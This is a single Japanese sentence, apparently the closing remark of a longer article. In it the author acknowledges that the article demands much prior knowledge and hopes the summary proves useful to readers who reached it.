求められる前提知識が多いので途中で読むのを諦めてこのまとめに辿り着いた人は少ないかもしれませんが、もし何かの参考になれば幸いです。